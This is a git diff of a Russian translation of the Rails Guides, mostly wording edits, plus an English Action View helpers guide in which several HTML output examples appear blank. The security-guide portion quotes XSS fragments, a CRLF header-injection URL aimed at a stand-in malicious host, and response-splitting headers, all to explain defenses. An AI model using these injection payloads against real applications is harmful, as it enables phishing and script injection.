Safari и другие) разрешают JavaScript в CSS. Подумайте дважды о допустимости пользовательского CSS в вашем веб-приложении._ -CSS инъекция лучше всего объясняется известным [червем MySpace Samy](https://samy.pl/popular/tech.html). Этот червь автоматически рассылал предложение дружбы с Samy (злоумышленником), просто посетив его профиль. В течение нескольких часов он сделал свыше 1 миллиона запросов дружбы, но создал так много трафика, что MySpace ушел в оффлайн. Ниже следует техническое объяснение червя. +CSS-инъекция лучше всего объясняется известным [червем MySpace Samy](https://samy.pl/popular/tech.html). Этот червь автоматически рассылал предложение дружбы с Samy (злоумышленником), просто посетив его профиль. В течение нескольких часов он сделал свыше 1 миллиона запросов дружбы, но создал так много трафика, что MySpace ушел в оффлайн. Ниже следует техническое объяснение червя. MySpace блокировал много тегов, но позволял CSS. Поэтому автор червя поместил JavaScript в CSS следующим образом: @@ -833,7 +833,7 @@ alert(eval('document.body.inne' + 'rHTML')); Если хотите предоставить форматирование текста иное, чем HTML (для безопасности), используйте разметочный язык, конвертируемый в HTML на сервере. [RedCloth](http://redcloth.org/) - это такой язык для Ruby, но без мер предосторожности он также уязвим к XSS. -Например, RedCloth переводит `_test_` в <em>test<em>, который делает текст курсивом. Однако, до версии 3.0.4 была уязвимость к XSS. Возьмите [новую версию 4](http://www.redcloth.org), в которой устранены серьезные баги. Однако даже эта версия имела (на момент написания статьи) [несколько багов безопасности](http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html), поэтому контрмеры только принимались. Вот пример для версии 3.0.4: +Например, RedCloth переводит `_test_` в <em>test<em>, который делает текст курсивом. Однако, до версии 3.0.4 была уязвимость к XSS. Возьмите [новую версию 4](http://www.redcloth.org), в которой убраны серьезные программные ошибки. Однако даже эта версия имела (на момент написания статьи) [несколько программных ошибок безопасности](http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html), поэтому контрмеры только принимались. Вот пример для версии 3.0.4: ```ruby RedCloth.new('').to_html @@ -858,7 +858,7 @@ RedCloth.new("
    hello", [:filter_html]).to_html Рекомендуется _использовать RedCloth в сочетании с фильтром ввода на основе белого списка_, как описано в разделе о контрмерах против XSS. -### Ajax инъекции +### Ajax-инъекции NOTE: _Те же меры безопасности должны быть приняты для экшнов Ajax, что и для "нормальных". Однако, есть как минимум одно исключение: вывод экранируется уже в контроллере, если экшн не рендерит вьюху._ @@ -895,7 +895,7 @@ redirect_to params[:referer] http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld ``` -И благодаря багу в (Ruby и) Rails до версии 2.1.2 (исключая ее), хакер может внедрить произвольные поля заголовка; например, так: +И благодаря программной ошибке в (Ruby и) Rails до версии 2.1.2 (исключая ее), хакер мог внедрить произвольные поля заголовка; например, так: ``` http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:`Hi! @@ -910,7 +910,7 @@ HTTP/1.1 302 Moved Temporarily Location: http://www.malicious.tld ``` -Таким образом, _направления атаки для инъекции заголовка основаны на инъекции символов CRLF в поле заголовка._ И что сможет сделать злоумышленник с ложным перенаправлением? Он сможет перенаправить на фишинговый сайт, который выглядит так же, как ваш, но просит заново авторизоваться (и посылает регистрационные данные злоумышленнику). Или он сможет установить злонамеренное ПО, используя дыры в безопасности браузера на этом сайте. Rails 2.1.2 экранирует эти символы для поля Location в методе `redirect_to`. _Убедитесь, что вы делаете то же самое, когда создаете другие поля заголовка на основе пользовательского ввода._ +Таким образом, _направления атаки для инъекции заголовка основаны на инъекции символов CRLF в поле заголовка._ И что сможет сделать злоумышленник с ложным перенаправлением? Он сможет перенаправить на фишинговый сайт, который выглядит так же, как ваш, но просит заново авторизоваться (и посылает учетные данные для входа злоумышленнику). Или он сможет установить злонамеренное ПО, используя дыры в безопасности браузера на этом сайте. Rails 2.1.2 экранирует эти символы для поля Location в методе `redirect_to`. _Убедитесь, что вы делаете то же самое, когда создаете другие поля заголовка на основе пользовательского ввода._ #### Разделение отклика @@ -933,10 +933,10 @@ Transfer-Encoding: chunked Content-Type: text/html ``` -При определенных обстоятельствах это сможет отобразить зловредный HTML жертве. Однако, это будет работать только с соединениями Keep-Alive (а многие браузеры используют одноразовые соединения). Но нельзя на это полагаться. _В любом случае, это серьезный баг, и следует обновить Rails до версии 2.0.5 или 2.1.2, чтобы устранить риски инъекции заголовка (и поэтому разделения отклика)._ +При определенных обстоятельствах это сможет отобразить зловредный HTML жертве. Однако, это будет работать только с соединениями Keep-Alive (а многие браузеры используют одноразовые соединения). Но нельзя на это полагаться. _В любом случае, это серьезная программная ошибка, и следует обновить Rails до версии 2.0.5 или 2.1.2, чтобы устранить риски инъекции заголовка (и поэтому разделения отклика)._ (Unsafe Query Generation) Небезопасная генерация запросов ----------------------------------------------------------- +--------------------------------------------------------- Благодаря способу, которым Active Record интерпретирует параметры, в сочетании со способом, которым Rack парсит параметры запроса, было возможным осуществить неожидаемые запросы в базу данных с условием `IS NULL`. В качестве отклика на этот вопрос безопасности ([CVE-2012-2660](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ), @@ -1113,7 +1113,7 @@ Rails.application.config.content_security_policy_nonce_generator = -> request { Безопасность среды ------------------ -За пределами этого руководства осталось, как обезопасить код приложения и среды (environments). Однако, пожалуйста, обеспечьте безопасность конфигурации вашей базы данных, т.е. `config/database.yml`, и секретного ключа сервера, хранящегося в `config/secrets.yml`. Для дальнейшего ограничения доступа используйте специфичные для сред версии этих и любых других файлов, которые могут содержать деликатную информацию. +За пределами этого руководства осталось, как обезопасить код приложения и среды (environments). Однако, пожалуйста, обеспечьте безопасность конфигурации вашей базы данных, т.е. `config/database.yml`, и секретного ключа сервера, хранящегося в `config/secrets.yml`. Для дальнейшего ограничения доступа используйте специфичные для сред версии этих и любых других файлов, которые могут содержать чувствительную информацию. ### Настраиваемые учетные данные diff --git a/source/testing.md b/source/testing.md index e2f08b0e..d2fb069c 100644 --- a/source/testing.md +++ b/source/testing.md @@ -50,7 +50,7 @@ fixtures/ integration/ models/ application По умолчанию каждое приложение на Rails имеет три среды разработки: development, test и production. База данных для каждой из них настраивается в `config/database.yml`. -Схожим образом можно изменить конфигурацию среды. В этом случае можно изменить тестовую среду, изменяя опции в `config/environments/test.rb`. +Схожим образом можно модифицировать конфигурацию среды. В этом случае можно модифицировать тестовую среду, изменяя опции в `config/environments/test.rb`. NOTE: Ваши тесты запускаются с `RAILS_ENV=test`. @@ -253,7 +253,7 @@ NOTE: Выполнение каждого тестового метода ост $ bin/rails test -b test/models/article_test.rb ``` -Если хотите, чтобы этот тест прошел, можно его изменить, используя `assert_raises` следующим образом: +Если хотите, чтобы этот тест прошел, можно его модифицировать, используя `assert_raises` следующим образом: ```ruby test "should report error" do @@ -507,7 +507,7 @@ PARALLEL_WORKERS=15 bin/rails test Чтобы запустить тесты, ваша тестовая база данных должна иметь текущую структуры. Тестовый хелпер проверяет, не имеет ли ваша тестовая база данных отложенных миграций. Он пытается загрузить ваши `db/schema.rb` или `db/structure.sql` в тестовую базу данных. Если есть отложенные миграции - будет вызвана ошибка. Обычно это указывает на то, что ваша схема не полностью мигрирована. Запуск миграций для базы данных development (`bin/rails db:migrate`) приведет схему в актуальное состояние. -NOTE: Если были изменения в существующих миграциях, нужно перестроить тестовую базу данных. Это делается с помощью выполнения `bin/rails db:test:prepare`. +NOTE: Если были модификации в существующих миграциях, нужно перестроить тестовую базу данных. Это делается с помощью выполнения `bin/rails db:test:prepare`. ### Полная информация по фикстурам @@ -580,7 +580,7 @@ Rails по умолчанию автоматически загружает вс 2. Загружаются данные фикстуры в таблицу 3. Выгружаются данные фикстуры в переменную, в случае, если вы хотите обращаться к ним напрямую -TIP: Чтобы убрать существующие данные из базы, Rails пытается отключить триггеры ссылочной целостности (такие как внешние ключи и проверки ограничений). Если вы получаете надоедливые ошибки доступа при запуске тестов, убедитесь, что у пользователя базы данных есть привилегия отключать эти триггеры в тестовой среде. (В PostgreSQL только суперпользователи могут отключать все триггеры. Подробнее о разрешениях PostgreSQL читайте [здесь](http://blog.endpoint.com/2012/10/postgres-system-triggers-error.html)) +TIP: Чтобы убрать существующие данные из базы, Rails пытается отключить триггеры ссылочной целостности (такие как внешние ключи и проверки ограничений). Если вы получаете надоедливые ошибки прав доступа при запуске тестов, убедитесь, что у пользователя базы данных есть права на отключение этих триггеров в тестовой среде. (В PostgreSQL только суперпользователи могут отключать все триггеры. Подробнее о правах доступа в PostgreSQL читайте [здесь](http://blog.endpoint.com/2012/10/postgres-system-triggers-error.html)) #### Фикстуры это объекты Active Record @@ -830,7 +830,7 @@ end Для выполнения запросов у нас есть [`ActionDispatch::Integration::RequestHelpers`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/RequestHelpers.html). -Если хотим изменить сессию или состояние вашего интеграционного теста, нам поможет [`ActionDispatch::Integration::Session`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Session.html). +Если хотим модифицировать сессию или состояние вашего интеграционного теста, нам поможет [`ActionDispatch::Integration::Session`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Session.html). ### Реализация интеграционного теста @@ -985,7 +985,7 @@ patch article_url, params: { id: 12 }, xhr: true NOTE: Если попытаетесь запустить тест `test_should_create_article` из `articles_controller_test.rb`, он провалится из-за недавно добавленной валидации на уровне модели, и это правильно. -Давайте изменим тест `test_should_create_article` в `articles_controller_test.rb` так, чтобы все наши тесты проходили: +Давайте модифицируем тест `test_should_create_article` в `articles_controller_test.rb` так, чтобы все наши тесты проходили: ```ruby test "should create article" do @@ -1386,7 +1386,7 @@ end Тестирование классов рассыльщика требует несколько специфичных инструментов для тщательного выполнения задания. -### Держим почтовик под контролем +### Держим отправку почты под контролем Ваши классы рассыльщика - как и любая другая часть вашего приложения на Rails - должны быть протестированы, что они работают так, как ожидается. diff --git a/source/threading_and_code_execution.md b/source/threading_and_code_execution.md index cf4c8fa6..272eb9bb 100644 --- a/source/threading_and_code_execution.md +++ b/source/threading_and_code_execution.md @@ -17,7 +17,7 @@ Rails автоматически позволяет выполнять разл При использовании тредового веб-сервера, такого как дефолтный Puma, несколько HTTP-запросов будут обслуживаться одновременно, причем каждому запросу предоставляется свой собственный экземпляр контроллера. -Тредовые адаптеры Active Job, в том числе встроенный Async, будут также выполнять несколько заданий в то же время. Аналогичным образом управляются каналы Action Cable. +Тредовые адаптеры Active Job, в том числе встроенный Async, будут также выполнять несколько заданий в одно и то же время. Аналогичным образом управляются каналы Action Cable. Все эти механизмы связаны с несколькими тредами, каждый из которых управляет работой с уникальным экземпляром некоторого объекта (контроллером, заданием, каналом), разделяя глобальное пространство процесса (например, классов и их конфигураций, и глобальных переменных). Пока код не модифицирует ни одну из этих общих вещей, он может, в основном, игнорировать то, что существуют другие треды. diff --git a/source/upgrading_ruby_on_rails.md b/source/upgrading_ruby_on_rails.md index e6f65bc1..201d051b 100644 --- a/source/upgrading_ruby_on_rails.md +++ b/source/upgrading_ruby_on_rails.md @@ -37,7 +37,7 @@ * Rails 3.2.x это последняя ветка с поддержкой Ruby 1.8.7. * Rails 3 и выше требует Ruby 1.8.7 или выше. Поддержка всех прежних версий Ruby была официально прекращена. Следует произвести апгрейд как можно раньше. -TIP: В Ruby 1.8.7 p248 и p249 имеются ошибки маршалинга, ломающие Rails. Хотя в Ruby Enterprise Edition это было исправлено, начиная с релиза 1.8.7-2010.02. В ветке 1.9, Ruby 1.9.1 не пригоден к использованию, поскольку он иногда вылетает, поэтому, если хотите использовать 1.9.x перепрыгивайте сразу на 1.9.3 для гладкой работы. +TIP: В Ruby 1.8.7 p248 и p249 имеются программные ошибки маршалинга, ломающие Rails. Хотя в Ruby Enterprise Edition это было исправлено, начиная с релиза 1.8.7-2010.02. В ветке 1.9, Ruby 1.9.1 не пригоден к использованию, поскольку он иногда вылетает, поэтому, если хотите использовать 1.9.x перепрыгивайте сразу на 1.9.3 для гладкой работы. ### Задача Update @@ -88,7 +88,7 @@ Rails 5.2 добавляет гем bootsnap во [вновь сгенериро Это всего лишь постепенное устаревание, которое означает, что ваш код не будет прерываться в данный момент и не будет отображаться предостережение об устаревании, но эта константа в будущем будет удалена. -Кроме того, если у вас есть довольно старые документы YAML, содержащие дампы таких объектов, вам может понадобиться загрузить и снова сбросить их, чтобы убедиться, что они ссылаются на нужную константу и что их загрузка не будет прерываться в будущем. +Кроме того, если имеются довольно старые документы YAML, содержащие выгрузки таких объектов, может понадобиться загрузить и выгрузить их снова, чтобы убедиться, что они ссылаются на нужную константу и что их загрузка не будет прерываться в будущем. ### `application.secrets` теперь загружается со всеми ключами в качестве символов @@ -333,7 +333,7 @@ Rails 5 теперь поддерживает токены CSRF для форм #### Настройка вывода `db:structure:dump` -Если вы используете `schema_search_path` или другие расширения PostgreSQL, можно контролировать, как выгружается схема. Установите `:all`, чтобы генерировать всю выгрузку, или `:schema_search_path`, чтобы генерировать из пути поиска схемы. +Если используется `schema_search_path` или другие расширения PostgreSQL, можно контролировать, как выгружается схема. Установите `:all`, чтобы генерировать все выгрузки, или `:schema_search_path`, чтобы генерировать из пути поиска схемы. config.active_record.dump_schemas = :all @@ -435,7 +435,7 @@ config.log_level = :info ### `after_bundle` в шаблонах Rails -Если у вас есть шаблон Rails, добавляющий все файлы в систему контроля версии, у него не получится добавить сгенерированные binstubs, так как это выполняется до Bundler: +Если у вас есть шаблон Rails, добавляющий все файлы в систему контроля версии, у него не получится добавить сгенерированные бинстабы, так как это выполняется до Bundler: ```ruby # template.rb @@ -448,7 +448,7 @@ git add: "." git commit: %Q{ -m 'Initial commit' } ``` -Теперь можно обернуть вызовы `git` в блок `after_bundle`. Он запустится после того, как будут сгенерированы binstubs. +Теперь можно обернуть вызовы `git` в блок `after_bundle`. Он запустится после того, как будут сгенерированы бинстабы. ```ruby # template.rb @@ -535,7 +535,7 @@ DSL миграций был расширен поддержкой определ Или, "а-а-а-а, почему мои тесты падают!!!?", или "мой виджет ` +``` + +#### javascript_path + +Computes the path to a JavaScript asset in the `app/assets/javascripts` directory. If the source filename has no extension, `.js` will be appended. Full paths from the document root will be passed through. Used internally by `javascript_include_tag` to build the script path. + +```ruby +javascript_path "common" # => /assets/common.js +``` + +#### javascript_url + +Computes the URL to a JavaScript asset in the `app/assets/javascripts` directory. This will call `javascript_path` internally and merge with your current host or your asset host. + +```ruby +javascript_url "common" +# => http://www.example.com/assets/common.js +``` + +#### stylesheet_link_tag + +Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, `.css` will be appended automatically. + +```ruby +stylesheet_link_tag "application" +# => +``` + +#### stylesheet_path + +Computes the path to a stylesheet asset in the `app/assets/stylesheets` directory. If the source filename has no extension, `.css` will be appended. Full paths from the document root will be passed through. Used internally by `stylesheet_link_tag` to build the stylesheet path. + +```ruby +stylesheet_path "application" # => /assets/application.css +``` + +#### stylesheet_url + +Computes the URL to a stylesheet asset in the `app/assets/stylesheets` directory. This will call `stylesheet_path` internally and merge with your current host or your asset host. + +```ruby +stylesheet_url "application" +# => http://www.example.com/assets/application.css +``` + +### AtomFeedHelper + +#### atom_feed + +This helper makes building an Atom feed easy. Here's a full usage example: + +**config/routes.rb** + +```ruby +resources :articles +``` + +**app/controllers/articles_controller.rb** + +```ruby +def index + @articles = Article.all + + respond_to do |format| + format.html + format.atom + end +end +``` + +**app/views/articles/index.atom.builder** + +```ruby +atom_feed do |feed| + feed.title("Articles Index") + feed.updated(@articles.first.created_at) + + @articles.each do |article| + feed.entry(article) do |entry| + entry.title(article.title) + entry.content(article.body, type: 'html') + + entry.author do |author| + author.name(article.author_name) + end + end + end +end +``` + +### BenchmarkHelper + +#### benchmark + +Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation. + +```html+erb +<% benchmark "Process data files" do %> + <%= expensive_files_operation %> +<% end %> +``` + +This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code. + +### CacheHelper + +#### cache + +A method for caching fragments of a view rather than an entire action or page. This technique is useful for caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See `AbstractController::Caching::Fragments` for more information. + +```erb +<% cache do %> + <%= render "shared/footer" %> +<% end %> +``` + +### CaptureHelper + +#### capture + +The `capture` method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout. + +```html+erb +<% @greeting = capture do %> +

    Welcome! The date and time is <%= Time.now %>

    +<% end %> +``` + +The captured variable can then be used anywhere else. + +```html+erb + + + Welcome! + + + <%= @greeting %> + + +``` + +#### content_for + +Calling `content_for` stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to `yield`. + +For example, let's say we have a standard application layout, but also a special page that requires certain JavaScript that the rest of the site doesn't need. We can use `content_for` to include this JavaScript on our special page without fattening up the rest of the site. + +**app/views/layouts/application.html.erb** + +```html+erb + + + Welcome! + <%= yield :special_script %> + + +

    Welcome! The date and time is <%= Time.now %>

    + + +``` + +**app/views/articles/special.html.erb** + +```html+erb +

    This is a special page.

    + +<% content_for :special_script do %> + +<% end %> +``` + +### DateHelper + +#### date_select + +Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute. + +```ruby +date_select("article", "published_on") +``` + +#### datetime_select + +Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute. + +```ruby +datetime_select("article", "published_on") +``` + +#### distance_of_time_in_words + +Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set `include_seconds` to true if you want more detailed approximations. + +```ruby +distance_of_time_in_words(Time.now, Time.now + 15.seconds) +# => less than a minute +distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true) +# => less than 20 seconds +``` + +#### select_date + +Returns a set of HTML select-tags (one for year, month, and day) pre-selected with the `date` provided. + +```ruby +# Generates a date select that defaults to the date provided (six days after today) +select_date(Time.today + 6.days) + +# Generates a date select that defaults to today (no specified date) +select_date() +``` + +#### select_datetime + +Returns a set of HTML select-tags (one for year, month, day, hour, and minute) pre-selected with the `datetime` provided. + +```ruby +# Generates a datetime select that defaults to the datetime provided (four days after today) +select_datetime(Time.now + 4.days) + +# Generates a datetime select that defaults to today (no specified datetime) +select_datetime() +``` + +#### select_day + +Returns a select tag with options for each of the days 1 through 31 with the current day selected. + +```ruby +# Generates a select field for days that defaults to the day for the date provided +select_day(Time.today + 2.days) + +# Generates a select field for days that defaults to the number given +select_day(5) +``` + +#### select_hour + +Returns a select tag with options for each of the hours 0 through 23 with the current hour selected. + +```ruby +# Generates a select field for hours that defaults to the hours for the time provided +select_hour(Time.now + 6.hours) +``` + +#### select_minute + +Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected. + +```ruby +# Generates a select field for minutes that defaults to the minutes for the time provided. +select_minute(Time.now + 10.minutes) +``` + +#### select_month + +Returns a select tag with options for each of the months January through December with the current month selected. + +```ruby +# Generates a select field for months that defaults to the current month +select_month(Date.today) +``` + +#### select_second + +Returns a select tag with options for each of the seconds 0 through 59 with the current second selected. + +```ruby +# Generates a select field for seconds that defaults to the seconds for the time provided +select_second(Time.now + 16.seconds) +``` + +#### select_time + +Returns a set of HTML select-tags (one for hour and minute). + +```ruby +# Generates a time select that defaults to the time provided +select_time(Time.now) +``` + +#### select_year + +Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the `:start_year` and `:end_year` keys in the `options`. + +```ruby +# Generates a select field for five years on either side of Date.today that defaults to the current year +select_year(Date.today) + +# Generates a select field from 1900 to 2009 that defaults to the current year +select_year(Date.today, start_year: 1900, end_year: 2009) +``` + +#### time_ago_in_words + +Like `distance_of_time_in_words`, but where `to_time` is fixed to `Time.now`. + +```ruby +time_ago_in_words(3.minutes.from_now) # => 3 minutes +``` + +#### time_select + +Returns a set of select tags (one for hour, minute, and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object. + +```ruby +# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute +time_select("order", "submitted") +``` + +### DebugHelper + +Returns a `pre` tag that has object dumped by YAML. This creates a very readable way to inspect an object. + +```ruby +my_hash = { 'first' => 1, 'second' => 'two', 'third' => [1,2,3] } +debug(my_hash) +``` + +```html +
    ---
    +first: 1
    +second: two
    +third:
    +- 1
    +- 2
    +- 3
    +
    +``` + +### FormHelper + +Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller. + +There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don't work with model attributes, check the `ActionView::Helpers::FormTagHelper` documentation. + +The core method of this helper, `form_with`, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it: + +```html+erb + +<%= form_with model: @person do |form| %> + <%= form.text_field :first_name %> + <%= form.text_field :last_name %> + <%= submit_tag 'Create' %> +<% end %> +``` + +The HTML generated for this would be: + +```html +
    + + + + + +
    +``` + +The params object created when this form is submitted would look like: + +```ruby +{"utf8" => "✓", "authenticity_token" => "lTuvBzs7ANygT0NFinXj98tfw3Emfm65wwYLbUvoWsK2pngccIQSUorM2C035M9dZswXgWTvKwFS8W5TVblpYw==", "person" => {"first_name" => "William", "last_name" => "Smith"}, "commit" => "Create", "controller" => "people", "action" => "create"} +``` + +The params hash has a nested person value, which can therefore be accessed with `params[:person]` in the controller. + +#### check_box + +Returns a checkbox tag tailored for accessing a specified attribute. + +```ruby +# Let's say that @article.validated? is 1: +check_box("article", "validated") +# => +# +``` + +#### fields_for + +Creates a scope around a specific model object. This makes `fields_for` suitable for specifying additional model objects in the same form: + +```html+erb +<%= form_with model: @person do |person_form| %> + First name: <%= person_form.text_field :first_name %> + Last name : <%= person_form.text_field :last_name %> + + <%= fields_for @person.permission do |permission_fields| %> + Admin? : <%= permission_fields.check_box :admin %> + <% end %> +<% end %> +``` + +#### file_field + +Returns a file upload input tag tailored for accessing a specified attribute. + +```ruby +file_field(:user, :avatar) +# => +``` + +#### form_with + +Creates a form builder to work with. If a `model` argument is specified, form fields will be scoped to that model, and form field values will be prepopulated with corresponding model attributes. + +```html+erb +<%= form_with model: @article do |form| %> + <%= form.label :title, 'Title' %>: + <%= form.text_field :title %>
    + <%= form.label :body, 'Body' %>: + <%= form.text_area :body %>
    +<% end %> +``` + +#### hidden_field + +Returns a hidden input tag tailored for accessing a specified attribute. + +```ruby +hidden_field(:user, :token) +# => +``` + +#### label + +Returns a label tag tailored for labelling an input field for a specified attribute. + +```ruby +label(:article, :title) +# => +``` + +#### password_field + +Returns an input tag of the "password" type tailored for accessing a specified attribute. + +```ruby +password_field(:login, :pass) +# => +``` + +#### radio_button + +Returns a radio button tag for accessing a specified attribute. + +```ruby +# Let's say that @article.category returns "rails": +radio_button("article", "category", "rails") +radio_button("article", "category", "java") +# => +# +``` + +#### text_area + +Returns a textarea opening and closing tag set tailored for accessing a specified attribute. + +```ruby +text_area(:comment, :text, size: "20x30") +# => +``` + +#### text_field + +Returns an input tag of the "text" type tailored for accessing a specified attribute. + +```ruby +text_field(:article, :title) +# => +``` + +#### email_field + +Returns an input tag of the "email" type tailored for accessing a specified attribute. + +```ruby +email_field(:user, :email) +# => +``` + +#### url_field + +Returns an input tag of the "url" type tailored for accessing a specified attribute. + +```ruby +url_field(:user, :url) +# => +``` + +### FormOptionsHelper + +Provides a number of methods for turning different kinds of containers into a set of option tags. + +#### collection_select + +Returns `select` and `option` tags for the collection of existing return values of `method` for `object`'s class. + +Example object structure for use with this method: + +```ruby +class Article < ApplicationRecord + belongs_to :author +end + +class Author < ApplicationRecord + has_many :articles + def name_with_initial + "#{first_name.first}. #{last_name}" + end +end +``` + +Sample usage (selecting the associated Author for an instance of Article, `@article`): + +```ruby +collection_select(:article, :author_id, Author.all, :id, :name_with_initial, { prompt: true }) +``` + +If `@article.author_id` is 1, this would return: + +```html + +``` + +#### collection_radio_buttons + +Returns `radio_button` tags for the collection of existing return values of `method` for `object`'s class. + +Example object structure for use with this method: + +```ruby +class Article < ApplicationRecord + belongs_to :author +end + +class Author < ApplicationRecord + has_many :articles + def name_with_initial + "#{first_name.first}. #{last_name}" + end +end +``` + +Sample usage (selecting the associated Author for an instance of Article, `@article`): + +```ruby +collection_radio_buttons(:article, :author_id, Author.all, :id, :name_with_initial) +``` + +If `@article.author_id` is 1, this would return: + +```html + + + + + + +``` + +Recovering some option passed (e.g. programmatically checking an object from collection): + +```ruby +collection_radio_buttons(:article, :author_id, Author.all, :id, :name_with_initial, {checked: Author.last}) +``` + +In this case, the last object from the collection will be checked: + +```html + + + + + + +``` + +To access the passed options programmatically (e.g. adding a custom class if checked): + +**Sample html.erb** + +```html+erb +<%= collection_radio_buttons(:article, :author_id, Author.all, :id, :name_with_initial, {checked: Author.last, required: true} do |rb| %> + <%= rb.label(class: "#{'my-custom-class' if rb.value == Author.last.id}") { rb.radio_button + rb.text } %> +<% end %> +``` + + +#### collection_check_boxes + +Returns `check_box` tags for the collection of existing return values of `method` for `object`'s class. + +Example object structure for use with this method: + +```ruby +class Article < ApplicationRecord + has_and_belongs_to_many :authors +end + +class Author < ApplicationRecord + has_and_belongs_to_many :articles + def name_with_initial + "#{first_name.first}. #{last_name}" + end +end +``` + +Sample usage (selecting the associated Authors for an instance of Article, `@article`): + +```ruby +collection_check_boxes(:article, :author_ids, Author.all, :id, :name_with_initial) +``` + +If `@article.author_ids` is [1], this would return: + +```html + + + + + + + +``` + +#### option_groups_from_collection_for_select + +Returns a string of `option` tags, like `options_from_collection_for_select`, but groups them by `optgroup` tags based on the object relationships of the arguments. + +Example object structure for use with this method: + +```ruby +class Continent < ApplicationRecord + has_many :countries + # attribs: id, name +end + +class Country < ApplicationRecord + belongs_to :continent + # attribs: id, name, continent_id +end +``` + +Sample usage: + +```ruby +option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3) +``` + +Possible output: + +```html + + + + ... + + + + + + ... + +``` + +NOTE: Only the `optgroup` and `option` tags are returned, so you still have to wrap the output in an appropriate `select` tag. + +#### options_for_select + +Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. + +```ruby +options_for_select([ "VISA", "MasterCard" ]) +# => +``` + +NOTE: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag. + +#### options_from_collection_for_select + +Returns a string of option tags that have been compiled by iterating over the `collection` and assigning the result of a call to the `value_method` as the option value and the `text_method` as the option text. + +```ruby +options_from_collection_for_select(collection, value_method, text_method, selected = nil) +``` + +For example, imagine a loop iterating over each person in `@project.people` to generate an input tag: + +```ruby +options_from_collection_for_select(@project.people, "id", "name") +# => +``` + +NOTE: Only the `option` tags are returned, you have to wrap this call in a regular HTML `select` tag. + +#### select + +Create a select tag and a series of contained option tags for the provided object and method. + +Example: + +```ruby +select("article", "person_id", Person.all.collect { |p| [ p.name, p.id ] }, { include_blank: true }) +``` + +If `@article.person_id` is 1, this would become: + +```html + +``` + +#### time_zone_options_for_select + +Returns a string of option tags for pretty much any time zone in the world. + +#### time_zone_select + +Returns select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags. + +```ruby +time_zone_select("user", "time_zone") +``` + +#### date_field + +Returns an input tag of the "date" type tailored for accessing a specified attribute. + +```ruby +date_field("user", "dob") +``` + +### FormTagHelper + +Provides a number of methods for creating form tags that are not scoped to model objects. Instead, you provide the names and values manually. + +#### check_box_tag + +Creates a check box form input tag. + +```ruby +check_box_tag 'accept' +# => +``` + +#### field_set_tag + +Creates a field set for grouping HTML form elements. + +```html+erb +<%= field_set_tag do %> +

    <%= text_field_tag 'name' %>

    +<% end %> +# =>

    +``` + +#### file_field_tag + +Creates a file upload field. + +```html+erb +<%= form_with url: new_account_avatar_path(@account), multipart: true do %> + <%= file_field_tag 'avatar' %> + <%= submit_tag %> +<% end %> +``` + +Example output: + +```ruby +file_field_tag 'attachment' +# => +``` + +#### hidden_field_tag + +Creates a hidden form input field used to transmit data that would be lost due to HTTP's statelessness or data that should be hidden from the user. + +```ruby +hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@' +# => +``` + +#### image_submit_tag + +Displays an image which when clicked will submit the form. + +```ruby +image_submit_tag("login.png") +# => +``` + +#### label_tag + +Creates a label field. + +```ruby +label_tag 'name' +# => +``` + +#### password_field_tag + +Creates a password field, a masked text field that will hide the users input behind a mask character. + +```ruby +password_field_tag 'pass' +# => +``` + +#### radio_button_tag + +Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options. + +```ruby +radio_button_tag 'favorite_color', 'maroon' +# => +``` + +#### select_tag + +Creates a dropdown selection box. + +```ruby +select_tag "people", "" +# => +``` + +#### submit_tag + +Creates a submit button with the text provided as the caption. + +```ruby +submit_tag "Publish this article" +# => +``` + +#### text_area_tag + +Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions. + +```ruby +text_area_tag 'article' +# => +``` + +#### text_field_tag + +Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query. + +```ruby +text_field_tag 'name' +# => +``` + +#### email_field_tag + +Creates a standard input field of email type. + +```ruby +email_field_tag 'email' +# => +``` + +#### url_field_tag + +Creates a standard input field of url type. + +```ruby +url_field_tag 'url' +# => +``` + +#### date_field_tag + +Creates a standard input field of date type. + +```ruby +date_field_tag "dob" +# => +``` + +### JavaScriptHelper + +Provides functionality for working with JavaScript in your views. + +#### escape_javascript + +Escape carrier returns and single and double quotes for JavaScript segments. + +#### javascript_tag + +Returns a JavaScript tag wrapping the provided code. + +```ruby +javascript_tag "alert('All is good')" +``` + +```html + +``` + +### NumberHelper + 